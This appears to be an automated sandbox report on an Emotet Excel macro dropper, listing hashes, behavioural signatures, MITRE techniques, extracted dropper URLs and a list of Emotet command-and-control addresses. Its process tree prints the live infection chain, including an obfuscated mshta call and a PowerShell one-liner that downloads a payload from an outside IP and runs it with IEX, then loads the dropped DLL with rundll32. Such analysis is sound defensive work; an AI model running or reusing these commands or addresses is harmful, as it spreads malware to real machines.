emotet | 6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a

Analysis

max time kernel
109s
max time network
144s
platform
windows10_x64
resource
win10-en-20211208
submitted
21/01/2022, 05:47

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General

Target
6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm
Size 49KB
Sample220121-ggz8lsdfhl
SHA256 6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a
MD5 cd7a6da12697f937963a4364a85aad3d
SHA1 497f9465dc7bc3e7a14d1e7b97ffa74414805eb3
SHA512 9f0652b62aa8a3cb3bd4cb306ec4c76d5f45ff99d7ad901b97c398d569e355c3af61780a8d9a8cc89db326ce8edbb98b129d2b1d1faa3310701a093fa9d6dde8
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://0xb907d607/fer/fe1.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fe1.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3768	2744	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
23	2576	mshta.exe
26	2264	powershell.exe
29	2264	powershell.exe
40	1176	rundll32.exe
41	1176	rundll32.exe
42	1176	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
672	rundll32.exe
3968	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cwbyvnf\xbkvucfbdye.eqt	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3596	2576	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2744	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
3596	WerFault.exe
2264	powershell.exe
2264	powershell.exe
2264	powershell.exe
1176	rundll32.exe
1176	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3596	WerFault.exe
Token: SeDebugPrivilege	2264	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE
2744	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 3768	2744	EXCEL.EXE	70
PID 2744 wrote to memory of 3768	2744	EXCEL.EXE	70
PID 3768 wrote to memory of 2576	3768	cmd.exe	72
PID 3768 wrote to memory of 2576	3768	cmd.exe	72
PID 2576 wrote to memory of 2264	2576	mshta.exe	74
PID 2576 wrote to memory of 2264	2576	mshta.exe	74
PID 2264 wrote to memory of 2636	2264	powershell.exe	78
PID 2264 wrote to memory of 2636	2264	powershell.exe	78
PID 2636 wrote to memory of 672	2636	cmd.exe	79
PID 2636 wrote to memory of 672	2636	cmd.exe	79
PID 2636 wrote to memory of 672	2636	cmd.exe	79
PID 672 wrote to memory of 3968	672	rundll32.exe	80
PID 672 wrote to memory of 3968	672	rundll32.exe	80
PID 672 wrote to memory of 3968	672	rundll32.exe	80
PID 3968 wrote to memory of 2136	3968	rundll32.exe	81
PID 3968 wrote to memory of 2136	3968	rundll32.exe	81
PID 3968 wrote to memory of 2136	3968	rundll32.exe	81
PID 2136 wrote to memory of 1176	2136	rundll32.exe	82
PID 2136 wrote to memory of 1176	2136	rundll32.exe	82
PID 2136 wrote to memory of 1176	2136	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6b4e80411216eff0629dfc0ce6788afc2578e22f48613a0664edb46f621d746a.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2264
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2636
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:672
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3968
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwbyvnf\xbkvucfbdye.eqt",jDbqIFVW
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwbyvnf\xbkvucfbdye.eqt",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1176
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2576 -s 1652
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3596

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/672-317-0x0000000000530000-0x0000000000558000-memory.dmp

Download

memory/1176-339-0x0000000004AE0000-0x0000000004B08000-memory.dmp

Download

memory/1176-351-0x00000000050F0000-0x0000000005118000-memory.dmp

Download

memory/1176-349-0x0000000005070000-0x0000000005098000-memory.dmp

Download

memory/1176-347-0x0000000004E80000-0x0000000004EA8000-memory.dmp

Download

memory/1176-345-0x0000000004D90000-0x0000000004DB8000-memory.dmp

Download

memory/1176-343-0x0000000004CA0000-0x0000000004CC8000-memory.dmp

Download

memory/1176-341-0x0000000004BC0000-0x0000000004BE8000-memory.dmp

Download

memory/1176-337-0x00000000048F0000-0x0000000004918000-memory.dmp

Download

memory/2136-332-0x0000000004230000-0x0000000004258000-memory.dmp

Download

memory/2264-308-0x0000026292CC6000-0x0000026292CC8000-memory.dmp

Download

memory/2264-303-0x00000262AB4E0000-0x00000262AB556000-memory.dmp

Download

memory/2264-271-0x0000026292D00000-0x0000026292D22000-memory.dmp

Download

memory/2264-273-0x0000026292CC0000-0x0000026292CC2000-memory.dmp

Download

memory/2264-275-0x0000026292CC3000-0x0000026292CC5000-memory.dmp

Download

memory/2264-292-0x00000262AB0C0000-0x00000262AB0FC000-memory.dmp

Download

memory/2744-114-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-116-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-376-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-120-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-127-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

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memory/2744-117-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Download

memory/2744-375-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-374-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Download

memory/2744-373-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

Download

memory/2744-115-0x00007FFB6CF90000-0x00007FFB6CFA0000-memory.dmp

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memory/2744-128-0x00007FFB6A440000-0x00007FFB6A450000-memory.dmp

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memory/3968-329-0x0000000004890000-0x00000000048B8000-memory.dmp

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memory/3968-320-0x0000000000820000-0x0000000000848000-memory.dmp

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memory/3968-325-0x0000000004720000-0x0000000004748000-memory.dmp

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memory/3968-327-0x0000000004830000-0x0000000004858000-memory.dmp

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memory/3968-331-0x00000000049F0000-0x0000000004A18000-memory.dmp

Download